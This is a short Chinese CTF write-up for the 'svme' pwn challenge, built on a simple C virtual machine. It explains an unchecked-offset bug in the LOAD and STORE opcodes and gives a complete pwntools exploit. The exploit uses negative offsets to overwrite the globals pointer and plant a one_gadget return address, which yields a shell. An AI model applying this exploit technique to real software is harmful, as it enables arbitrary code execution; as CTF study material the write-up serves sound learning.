svme
题目来源于github的[项目][https://github.com/parrt/simple-virtual-machine-C] (从dockerfile可以看到)
直接先看源码分析一下
VM结构体
1 2 3 4 5 6 7 8 9 10 11 12
| typedef struct { int *code; int code_size;
int *globals; int nglobals;
int stack[DEFAULT_STACK_SIZE]; Context call_stack[DEFAULT_CALL_STACK_SIZE]; } VM;
|
Context
1 2 3 4
| typedef struct { int returnip; int locals[DEFAULT_NUM_LOCALS]; } Context;
|
在堆上创建一个VM结构体存放其成员变量
opcode存在位于栈上的code里,int类型,由操作码和操作数构成
全局变量存在位与堆上的globals里
VM+0x18开始是其模拟的栈空间stack,大小1000字节
再之后是模拟的函数调用栈call_stack,用结构体数组存储,对应有一个返回地址和局部变量
代码有问题的地方在于load和store
可以直接由输入的操作数作为偏移读写,同时涉及变量类型为int,能够造成数组上溢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| case LOAD: offset = vm->code[ip++]; vm->stack[++sp] = vm->call_stack[callsp].locals[offset]; break; case GLOAD: addr = vm->code[ip++]; vm->stack[++sp] = vm->globals[addr]; break; case STORE: offset = vm->code[ip++]; vm->call_stack[callsp].locals[offset] = vm->stack[sp--]; break; case GSTORE: addr = vm->code[ip++]; vm->globals[addr] = vm->stack[sp--]; break;
|
于是可以通过load将存储opcode的指向栈上的指针读到vm模拟的栈上,然后store使栈地址覆盖原本指向全局变量globals的指针,然后使用``
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./svme')
NOOP = 0 IADD = 1 ISUB = 2 IMUL = 3 ILT = 4 IEQ = 5 BR = 6 BRT = 7 BRF = 8 ICONST = 9 LOAD = 10 GLOAD = 11 STORE = 12 GSTORE = 13 PRINT = 14 POP = 15 CALL = 16 RET = 17 HALT = 18
def debug(s=None): if(s==None): gdb.attach(r) else: gdb.attach(r,s) pause()
one = [0xe6c7e, 0xe6c81, 0xe6c84] offset = 0x270b3 pr12_r = 0x0000000000032b59
code= b'' code+= p32(ICONST)+p32(10) code+= p32(CALL)+p32(6)+p32(1)+p32(1) code+= p32(LOAD)+p32(0) code+= p32(LOAD)+p32(0xFFFFFC14) code+= p32(LOAD)+p32(0xFFFFFC15) code+= p32(LOAD)+p32(0xFFFFFC10) code+= p32(LOAD)+p32(0xFFFFFC11) code+= p32(STORE)+p32(0xFFFFFC15) code+= p32(STORE)+p32(0xFFFFFC14) code+= p32(GLOAD)+p32(0x86) code+= p32(ICONST)+p32(0x270b3) code+= p32(ISUB) code+= p32(ICONST)+p32(pr12_r) code+= p32(IADD) code+= p32(GSTORE)+p32(0x86) code+= p32(ICONST)+p32(0) code+= p32(ICONST)+p32(0) code+= p32(GSTORE)+p32(0x88) code+= p32(GSTORE)+p32(0x89) code+= p32(GLOAD)+p32(0x86) code+= p32(ICONST)+p32(pr12_r) code+= p32(ISUB) code+= p32(ICONST)+p32(one[0]) code+= p32(IADD) code+= p32(GSTORE)+p32(0x8a) code+= p32(STORE)+p32(0xFFFFFC15) code+= p32(STORE)+p32(0xFFFFFC14) code+= p32(HALT)
pay = code.ljust(0x200, b'\x00') r.send(pay)
r.interactive()
|
还有一题打算看的